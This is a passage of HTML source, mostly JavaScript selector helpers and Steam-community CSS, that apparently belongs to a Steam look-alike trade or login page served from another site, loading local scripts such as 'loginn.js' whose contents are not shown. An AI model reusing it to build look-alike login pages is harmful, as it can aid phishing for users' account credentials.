return "#<Selector: " + this.expression + ">";
}
});
Object.extend(Selector, {
matchElements: function(elements, expression) {
var match = Prototype.Selector.match,
results = [];
for (var i = 0, length = elements.length; i < length; i++) {
var element = elements[i];
if (match(element, expression)) {
results.push(Element.extend(element));
}
}
return results;
},
findElement: function(elements, expression, index) {
index = index || 0;
var matchIndex = 0, element;
for (var i = 0, length = elements.length; i < length; i++) {
element = elements[i];
if (Prototype.Selector.match(element, expression) && index === matchIndex++) {
return Element.extend(element);
}
}
},
findChildElements: function(element, expressions) {
var selector = expressions.toArray().join(', ');
return Prototype.Selector.select(selector, element || document);
}
});
})();
</script>
<script type="text/javascript" src="https://steamcommunity-a.akamaihd.net/public/javascript/scriptaculous/_combined.js?v=9XVsa_Ni33oN&l=english&load=effects,controls,slider,dragdrop"></script><script>var bYpkDsW6Dsv = '/trade';var ngRgy5fRj97f = "true";</script>
<script type="text/javascript" src="/Content/js/tools.js?v=e3Vsa_0icxo3&l=english&load=effects,controls,slider,dragdrop"></script>
<script type="text/javascript" src="https://steamcommunity-a.akamaihd.net/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC"></script>
<script type="text/javascript" src="https://steamcommunity-a.akamaihd.net/public/shared/javascript/tooltip.js?v=.gcRSUfx-SLlh"></script>
<script type="text/javascript" src="https://steamcommunity-a.akamaihd.net/public/shared/javascript/shared_global.js?v=MJxus4NSxkZn&l=english"></script>
<script type="text/javascript">$J = jQuery.noConflict();
if ( typeof JSON != 'object' || !JSON.stringify || !JSON.parse ) { document.write( "<scr" + "ipt type=\"text\/javascript\" src=\"https:\/\/steamcommunity-a.akamaihd.net\/public\/javascript\/json2.js?v=pmScf4470EZP&l=english\" ><\/script>\n" ); };
</script><script type="text/javascript" src="/Content/js/loginn.js"></script>
<script type="text/javascript" src="https://steamcommunity-a.akamaihd.net/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english"></script>
<script type="text/javascript" src="https://steamcommunity-a.akamaihd.net/public/shared/javascript/shared_responsive_adapter.js?v=qLEcRmcHn-kc&l=english"></script>
<style>
html {
height: 100%;
}
body {
background: #1b2838;
text-align: left;
color: #8F98A0;
font-size: 14px;
margin:0;
padding:0;
}
body.flat_page {
position: relative;
min-height: 100%;
}
body.flat_page.blue {
color: #636363;
}
/* this makes the footer appear at the bottom of the window on short pages */
body.flat_page .responsive_page_frame {
position: static;
}
body.standard_page {
min-width: 958px;
}
body, textarea {
font-family:Arial, Helvetica, Verdana, sans-serif;
}
h1, h2, h3, h4, h5, h6 {
margin: 0px;
}
.pagecontent {
padding-bottom: 128px;
}
.pagecontent.in_client, .pagecontent.no_header {
background-position: center top;
}
body.flat_page.blue .pagecontent {
background: none;
}
@media screen and (max-width: 910px)
{
html.responsive .pagecontent {
padding-bottom: 0;
}
}
html.responsive.touch .pagecontent {
padding-bottom: 0;
}
.pagecontent.no_footerpad {
padding-bottom: 0;
}
.maincontent {
width: 948px;
margin: 0 auto;
}
.ellipsis {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
a, .whiteLink {
color: #ebebeb;
text-decoration: none;
cursor: pointer;
}
a.hoverunderline:hover {
text-decoration: underline;
}
a.underlinedLink, span.underlinedLink {
color: #ebebeb;
text-decoration: underline;
cursor: pointer;
}
a.whiteLink:hover, .whiteLink:hover, a.linkStandard:hover, a.linkTitle:hover, a.underlinedLink:hover, span.underlinedLink:hover {
color: #66C0F4;
text-decoration: none;
cursor: pointer;
}
form {
margin:0;
padding:0;
}
input[type=text], input[type=password], select {
color: #BFBFBF;
background-color: rgba( 0, 0, 0, 0.4 );
border: 1px solid #000;
/* should set this on individual styles we know look good with it */
/* box-shadow: 1px 1px 0 0 rgba( 91, 132, 181, 0.2 ); */
border-radius: 3px;
}
#footer632 {
position:relative;
text-align:left;
width: auto;
font-size: 12px;
color: #8F98A0;
border:0;
margin: 0;
padding: 32px 0;
background-color: rgba( 0, 0, 0, 0.4 );
}
body.flat_page #footer632, body.headerless_page #footer632 {
position: absolute;
left: 0;
right: 0;
bottom: 0;
padding: 0;
margin: 0;
padding-top: 16px;
background: transparent;
}
body.flat_page #footer632 {
background-color: #000000;
}
body.flat_page.blue #footer632 {
background: none;
}
body #footer632 .responsive_optin_link {
display: none;
}
body.flat_page #footer632_spacer, body.headerless_page #footer632_spacer {
height: 78px;
padding-top: 16px;
}
#footer632 .footer_content {
position: relative;
width: 958px;
margin: 0 auto;
}
#footer632 #footerLogo {
position: absolute;
left: 16px;
top: 4px;
}
#footer632 #footerText{
padding: 2px 0 0 123px;
line-height: 14px;
display: block;
color: #8F98A0;
}
#footer632 a {
color: #C6D4DF;
text-decoration: none;
}
#footer632 a:hover {
color: #ffffff;
}
#footer632Text {
padding: 2px 0 0 123px;
line-height: 14px;
display: block;
color: #8F98A0;
}
#footer632Logo {
position: absolute;
left: 16px;
top: 4px;
}
.friendBlock {
height:36px;
padding: 4px 0 4px 4px;
margin-bottom:4px;
font-size:11px;
line-height:13px;
overflow: hidden;
white-space: nowrap;
text-overflow: ellipsis;
position: relative;
background-color: rgba( 84, 133, 183, 0.2);
}
a.friendBlock {
display: block;
}
.friendBlockLinkOverlay {
position: absolute;
left: 0;
top: 0;
right: 0;
bottom: 0;
z-index: 2;
}
.friendBlock a.friendBlockInnerLink {
position: relative;
z-index: 3;
color: #ffffff;
}
.friendBlock:hover {
cursor:pointer;
background-color: rgba( 117, 204, 255, 0.3);
}
.friendBlock .playerAvatar {
float:left;
margin-right: 7px;
}
.friendBlock .friendBlockContent {
overflow: hidden;
white-space: nowrap;
text-overflow: ellipsis;
}
.friendBlock .friend_join_game_link {
text-decoration: underline;
}
.friendBlock .friend_join_game_link:hover {
color: white;
}
.friendBlock .blockedText {
color: red;
font-weight: bold;
}
.friendBlockStatusIcon {
float: right;
height: 40px;
line-height: 40px;
padding: 0 7px;
}
.friendBlockStatusIcon img {
vertical-align: middle;
}
.friendBlock .friendPlayerLevel {
float: right;
margin: 4px 4px 0 0;
}
.responsive_friendblocks_ctn {
max-width: 898px;
margin: 0 auto;
}
@media screen and (max-width: 910px)
{
html.responsive .responsive_friendblocks .friendBlock,
html.responsive .responsive_friendblocks .friendBlock:nth-child(3n) {
margin-right: 0.8%;
}
}
@media screen and (max-width: 910px) and (min-width: 601px)
{
html.responsive .responsive_friendblocks .friendBlock {
width: 32%;
}
html.responsive .responsive_friendblocks .friendBlock:nth-child(3n) {
margin-right: 0;
}
}
@media screen and (max-width: 600px ) and (min-width: 401px)
{
html.responsive .responsive_friendblocks .friendBlock {
width: 48%;
}
html.responsive .responsive_friendblocks .friendBlock:nth-child(2n) {
margin-right: 0;
}
}
@media screen and (max-width: 400px )
{
html.responsive .responsive_friendblocks .friendBlock {
width: auto;
float: none;
}
}
@media screen and ( max-width: 500px )
{
html.responsive .commentthread_paging.has_view_all_link .pagebtn,
html.responsive .commentthread_paging.has_view_all_link .commentthread_pagelinks,
html.responsive .commentthread_paging.has_view_all_link .commentthread_pagedropdown {
display: none;
}
}
@media screen and (max-width: 910px)
{
html.responsive .commentthread_pagelinks {
display: none;
}
html.responsive .commentthread_pagedropdown {
display: inline;
}
html.responsive .commentthread_comment_author .community_ban_action {
display: none;
}
html.responsive .commentthread_comment_author .actionlink:not(.community_ban_action) {
visibility: visible;
}
}
html.responsive.touch .commentthread_pagelinks {
display: none;
}
html.responsive.touch .commentthread_pagedropdown {
display: inline;
}
html.responsive.touch .commentthread_comment_author .community_ban_action {
display: none;
}
html.responsive.touch .commentthread_comment_author .actionlink:not(.community_ban_action) {
visibility: visible;
}
/* used to display the " - public" next to a group name */
.pubGroup {
font-size:11px;
color:#d05f29;
font-weight:bold;
}
body.flat_page > .perf_timing_area .perf_timing_link, body.headerless_page > .perf_timing_area .perf_timing_link {
position: absolute;
left: 15px;
bottom: 15px;
}
.perf_timing_area {
display: block;
text-align: center;
margin-bottom: 14px;
}
.perf_timing_data {
position: relative;
background-color: #000000;
margin: 0px auto 48px auto;
padding: 8px;
text-align: left;
width: 936px;
font-size: 14px;
}
.nowrap {
white-space: nowrap;
overflow: hidden;
}
/* note that the old gameLogoHolder_default style does nothing now */
.gameLogo {
width:184px;
height:69px;
border:0;
padding: 4px;
margin:0;
background: rgba( 0, 0, 0, 0.5 );
}
.gameLogo img {
border:0;
width:184px;
height:69px;
}
/* ---------------- comment threads -------------*/
.commentthread_header, .commentthread_footer {
font-size: 14px;
line-height: 24px;
margin-bottom: 1px;
padding-bottom: 2px;
}
.commentthread_header {
border-bottom: 1px solid #363f4c;
}
.commentthread_footer {
border-top: 1px solid #363f4c;
}
.commentthread_header .commentthread_count {
background-image: url( data:image/png;base64,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 );
background-repeat: no-repeat;
background-position: 0 4px;
padding-left: 24px;
overflow: hidden;
}
.commentthread_count_label {
margin-right: 8px;
}
.commentthread_subscribe_ctn {
display: inline-block;
white-space: nowrap;
font-size: 12px;
cursor: pointer;
}
.commentthread_subscribe_hint {
font-size: 10px;
line-height: 12px;
vertical-align: text-top;
cursor: default;
}
.commentthread_subscribe_hint .commentthread_subscribe_hint_q {
color: #66c0f4;
}
.commentthread_subscribe_checkbox {
display: inline-block;
position: relative;
height: 12px;
width: 12px;
vertical-align: middle;
border: 1px solid #385377;
border-top-color: #070a0f;
border-left-color: #070a0f;
border-top-right-radius: 1px;
border-bottom-left-radius: 1px;
background: rgba( 0, 0, 0, 0.2 );
}
.commentthread_subscribe_check {
position: absolute;
display: none;
top: -1px;
left: -1px;
right: -1px;
bottom: -1px;
background: url( 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAASJJREFUeNpi/P//PwMlgIVcjcGLD70H0UzkaA6cv/cpkBIgywC/mdvOMLGwSsHMIskA145FM1m5eIxB7B+Pnz9YG2t3gGgDrArbi/mkFdJA7J+fPxzYWhWuSLQXlF0CfSUMLOtB7H9/fj87NaW+ESaHYoBJelWaXdWkBnQDdMIzehiZmHhB7Du71pS8unb+AFYD5G08ZopqGtQ7Nc3uZWRkBPvVa9K6TSwcnGog9uvrFxovL5++HFkPI3JC8p+98yayYhANMhBEf3//ZvP2/OBGoPqzOA1AN+T/v3+fQU7/8+P7reP9FenITsfqBRAAKQRpAJsO1Awy5MrKGSXYNGN1AQwELTzwCWTA83NHS471V/biiiFGSjMTEwOFgGIDAAIMAKHJfj735eNRAAAAAElFTkSuQmCC' ) no-repeat center;
}
.commentthread_subscribe_ctn.checked .commentthread_subscribe_check {
display: block;
}
.commentthread_subscribe_ctn.waiting .commentthread_subscribe_check {
display: block;
background-image: url( 'https://steamcommunity-a.akamaihd.net/public/images/login/throbber.gif' );
background-size: contain;
}
.commentthread_paging {
float: right;
}
.commentthread_pagelink {
cursor: pointer;
color: #ffffff;
}
.commentthread_pagedropdown {
display: none;
}
/* fix some bad workshop.css styles */
.commentthread_pagedropdown select {
width: auto;
}
.commentthread_pagelink:hover {
text-decoration: underline;
}
.commentthread_pagelink.active {
cursor: default;
color: #939393;
}
.commentthread_pagelink.active:hover {
text-decoration: none;
}
.commentthread_entry {
min-height: 44px;
background-color: rgba( 0, 0, 0, 0.2 );
position: relative;
padding: 8px;
}
.commentthread_allcommentslink {
margin-right: 12px;
}
a.commentthread_allcommentslink:hover {
text-decoration: underline;
}
.commentthread_user_avatar {
float: left;
margin-right: 8px;
}
.commentthread_entry_quotebox_quote {
position: absolute;
left: 50px;
top: 13px;
width: 17px;
height: 18px;
}
.commentthread_entry_quotebox {
border: none;
padding: 4px 6px 4px 6px;
font-size: 12px;
background-color: rgba( 0, 0, 0, 0.4 );
border-radius: 4px;
border-left: 1px solid #000;
border-top: 1px solid #000;
border-right: 1px solid #354357;
border-bottom: 1px solid #354357;
overflow: hidden;
}
.commentthread_textarea {
resize: none;
outline: none;
background-color: transparent;
border: none;
width: 100%;
overflow: hidden;
color: #BFBFBF;
}
.commentthread_entry_submitlink {
text-align: right;
padding-top: 5px;
}
.commentthread_entry_submitlink .emoticon_button {
margin-right: 8px;
}
.commentthread_entry_autosubscribe {
padding-bottom: 8px;
}
.commentthread_entry_error {
color: #ff0000;
}
.commentthread_textarea::-webkit-input-placeholder{
font-style: italic;
color: #515152;
}
.commentthread_textarea:-moz-placeholder {
font-style: italic;
color: #515152;
}
.commentthread_comment_container {
margin-top: 19px;
}
.commentthread_comment {
position: relative;
padding-bottom: 19px;
min-height: 40px;
padding-left: 58px;
/* The descendant comment text element has overflow set, but a chrome bug allows some unicode characters to spill out of that. overflow at this level seems to stop it */
overflow: hidden;
}
.valve_links {
margin: 15px 0 0 0;
display: block;
}
.commentthread_comment.commentthread_newcomment {
}
.commentthread_comment_avatar {
position: absolute;
left: 5px;
top: 0px;
}
.commentthread_valve_icon
{
vertical-align: middle;
margin-left: 5px;
width: 59px;
height: 16px;
}
.commentthread_comment_author {
margin-bottom: 2px;
line-height: 16px;
}
.commentthread_comment_author a {
font-size: 14px;
}
.commentthread_comment_author a.actionlink {
color: #B0AEAC;
font-size: 11px;
visibility: hidden;
}
.commentthread_comment_author a.actionlink:hover {
text-decoration: underline;
}
.commentthread_comment:hover .commentthread_comment_author a.actionlink {
visibility: visible;
}
.commentthread_comment_timestamp {
font-size: 11px;
color: #56707f;
margin-left: 4px;
}
.commentthread_comment_text {
font-size: 13px;
color: #acb2b8;
word-wrap: break-word;
overflow-y: auto;
max-height: 400px;
line-height: 18px;
}
.commentthread_comment_text a {
color: #c6d4df;
text-decoration: underline;
}
.commentthread_comment_text a:hover {
color: #EBEBEB;
text-decoration: underline;
}
.commentthread_comment_friendindicator {
position: absolute;
left: 33px;
top: 24px;
background-image: url( 'https://steamcommunity-a.akamaihd.net/public/images/skin_1/comment_friendindicator_small.png' );
width: 20px;
height: 20px;
z-index: 2;
cursor: pointer;
}
.commentthread_edit_buttons {
text-align: right;
}
.commentthread_workshop_authorbadge {
color: #e9d528;
}
.commentthread_workshop_publishedfilesbadge {
display: inline-block;
padding: 0 6px;
border-radius: 3px;
line-height: 22px;
margin: 0 4px;
background-color: #425979;
}
.commentthread_steamworks_developerbadge {
display: inline-block;
padding: 0 6px;
border-radius: 3px;
line-height: 22px;
margin: 0 4px;
background-color: #AC966A;
}
.commentthread_prepopulate_prompt {
margin-bottom: 8px;
color: #67c1f5;
}
/** Styles for modal popup */
.modal_top_band {
background-color:#37516d;
width:548px;
height:25px;
margin-bottom:1px;
}
.modal_close {
float:right;
width:9px;
height:9px;
margin-right:9px;
margin-top:7px;
line-height: 9px;
cursor: pointer;
}
.modal_box {
background: -webkit-linear-gradient( top, rgba(102,192,244,1) 5%, rgba(47,137,188,1) 95%);background: linear-gradient( to bottom, rgba(102,192,244,1) 5%, rgba(47,137,188,1) 95%); padding: 3px;
width:542px;
font-size: 12px;
color: #ffffff;
text-align: left;
}
.modal_box .modal_box_ctn
{
width:502px;
background-color:#1a2635;
padding:20px;
}
.modal_box #forum_movetopic_modal_content #forum_movetopic_form {
background: transparent;
}
.modal_box h1, .modal_box h5 {
font-weight: normal;
}
.modal_box h2 {
color: #c6d4df;
font-family: "Motiva Sans", Sans-serif;
font-weight: 300; /* light */
font-size: 22px;
margin-bottom: 10px;
}
.modal_low_block {
background-color:#171717;
padding:20px 20px 0px 20px;
height:54px;
padding-top:24px;
color:#b0aeac;
}
.modal_steam_ico {
float:left;
padding-right:18px;
margin-top:-4px;
}
#modalBG {
position:fixed;
z-index:900;
background-color:#000000;
filter:alpha(opacity=60);
opacity:0.8;
top: 0;
bottom: 0;
left: 0;
right: 0;
}
.modal_frame {
width:508px;
position:absolute;
z-index:1000;
background-color:#000000;
}
/* big gray buttons for the modal */
.gray_square_button {
height: 34px;
line-height: 34px;
color: #e5e2df;
font-size: 14px;
padding: 0 2px;
margin: 0 8px;
border: none;
position: relative;
display: inline-block;
cursor: pointer;
}
a.gray_square_button:hover {
text-decoration: none;
color: #e5e2df;
}
.modal_box .gray_square_button {
margin-left: 0;
margin-right: 16px;
}
.gray_square_button .left, .gray_square_button .right, .gray_square_button .button_label {
background-image: url( 'https://steamcommunity-a.akamaihd.net/public/images/economy/gray_square_button.png' );
}
.gray_square_button .left, .gray_square_button .right {
background-repeat: no-repeat;
position: absolute;
top: 0;
height: 34px;
width: 2px;
}
.gray_square_button .left {
background-position: 0 0;
left: 0;
}
.gray_square_button .right {
background-position: -2px 0;
right: 0;
}
.gray_square_button .button_label {
background-repeat: repeat-x;
background-position: 0 -34px;
padding: 0 32px;
text-align: left;
}
.modal_box .gray_square_button .button_label {
min-width: 62px;
}
.gray_square_button.active .left {
background-position: 0 -68px;
}
.gray_square_button.active .right {
background-position: -2px -68px;
}
.gray_square_button.active .button_label {
background-position: 0 -102px;
}
button.gray_square_button::-moz-focus-inner
{
padding: 0;
border: none;
}
/* not logged in modal dialog */
.notLoggedInText {
font-size: 20px;
padding-bottom: 20px;
padding-top: 0;
text-align: center;
}
.notLoggedInButtons {
display: block;
margin: 0 auto;
text-align: center;
}
.notLoggedInButtons > a {
margin-right: 5px;
}
/* new input styles */
input.gray_bevel:-moz-placeholder, textarea.gray_bevel:-moz-placeholder, .gray_bevel textarea:-moz-placeholder, .gray_bevel input:-moz-placeholder {
font-style: italic;
color: #7c7c7c;
}
input.gray_bevel::-webkit-input-placeholder, textarea.gray_bevel::-webkit-input-placeholder, .gray_bevel textarea::-webkit-input-placeholder, .gray_bevel input::-webkit-input-placeholder {
font-style: italic;
color: #7c7c7c;
}
input.gray_bevel, textarea.gray_bevel, .gray_bevel, .commentthread_comment_edit_textarea_ctn {
background-color: rgba( 0, 0, 0, 0.2 );
border-radius: 3px;
border: 1px solid #000;
box-shadow: 1px 1px 0 0 rgba( 91, 132, 181, 0.2 );
color: #C6D4DF;
margin-bottom: 6px;
outline: none;
padding: 4px 6px;
}
.gray_bevel.for_text_input {
display: inline-block;
padding-bottom: 1px;
height: 25px;
}
.gray_bevel input {
line-height: 21px;
height: 21px;
}
.newmodal_prompt_textarea {
height: 396px;
}
.newmodal_prompt_with_textarea {
display: inline-block;
padding-top: 1px;
padding-bottom: 1px;
width: 500px;
}
.gray_bevel input, .gray_bevel textarea {
border: none;
outline: none;
box-shadow: none;
background-color: transparent;
font-size: 13px;
color: #C6D4DF;
}
.gray_bevel.fullwidth {
display: block;
}
.gray_bevel.fullwidth.for_text_input input, .gray_bevel.fullwidth textarea {
width: 100%;
}
input.gray_bevel {
height: 20px;
}
textarea.gray_bevel, .gray_bevel textarea {
resize: none;
}
select.gray_bevel {
background-color: #212f43;
border-radius: 3px;
border: 1px solid rgba( 91, 132, 181, 0.2 );
box-shadow: 1px 1px 0px #000000;
color: #BFBFBF;
margin-bottom: 6px;
outline: none;
padding: 0px;
line-height: 27px;
height: 27px;
font-size: 14px;
}
/* sharing published files*/
#SharePopup
{
min-width: 550px;
background-color: #323232;
border: 1px solid #4a4943;
padding: 10px;
text-align: left;
}
.share_controls_steam, .share_controls_steam a
{
float: left;
display: inline-block;
width: 328px;
height: 50px;
margin-right: 15px;
font-size: 16px;
font-family: Arial;
text-align: center;
line-height: 50px;
text-decoration: none;
background-image: url( 'https://steamcommunity-a.akamaihd.net/public/images//sharedfiles/share_status_off.jpg' );
}
.share_controls_steam:hover, .share_controls_steam:hover a
{
background-image: url( 'https://steamcommunity-a.akamaihd.net/public/images//sharedfiles/share_status_on.jpg' );
text-decoration: none;
}
.share_controls_other
{
padding-top: 10px;
}
.share_controls_divider
{
background-color: #161616;
border-bottom: 1px solid #4c4c4c;
height: 1px;
margin-top: 15px;
margin-bottom: 10px;
}
.share_controls_page_link
{
padding-top: 5px;
line-height: 26px;
height: 26px;
font-size: 12px;
color: #8f8f8f;
}
.shareItemLink
{
float: left;
padding-left: 5px;
}
.shareItemLink .btn_medium > span
{
padding: 0px 10px;
line-height: 28px;
}
.share_controls_page_link form
{
display: inline-block;
}
.share_controls_page_link input
{
top: 0px;
padding: 5px;
min-width: 500px;
background-color: #272626;
border: 1px solid #000000;
color: #8f8f8f;
}
#ShareOnSteamDialog
{
min-height: 290px;
width: 560px;
}
.migrated_profile_page_old .pagecontent {
padding-bottom: 0;
}
.migrated_profile_page_old #BG_bottom, .migrated_profile_page_old #BG_top {
margin: 0 auto;
}
.emoticon_button {
display: inline-block;
height: 36px;
width: 36px;
background-image: url( 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACEAAAAhCAYAAABX5MJvAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2RpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYwIDYxLjEzNDc3NywgMjAxMC8wMi8xMi0xNzozMjowMCAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDoyMzAyRkRGRkFGMjNFMjExQTExQ0E1RUVDNzk3QzRFRiIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDozMzgxRUQ1QjYwOTMxMUU1OUQzNzkwMUIxQjA3MDExNSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDozMzgxRUQ1QTYwOTMxMUU1OUQzNzkwMUIxQjA3MDExNSIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M1IFdpbmRvd3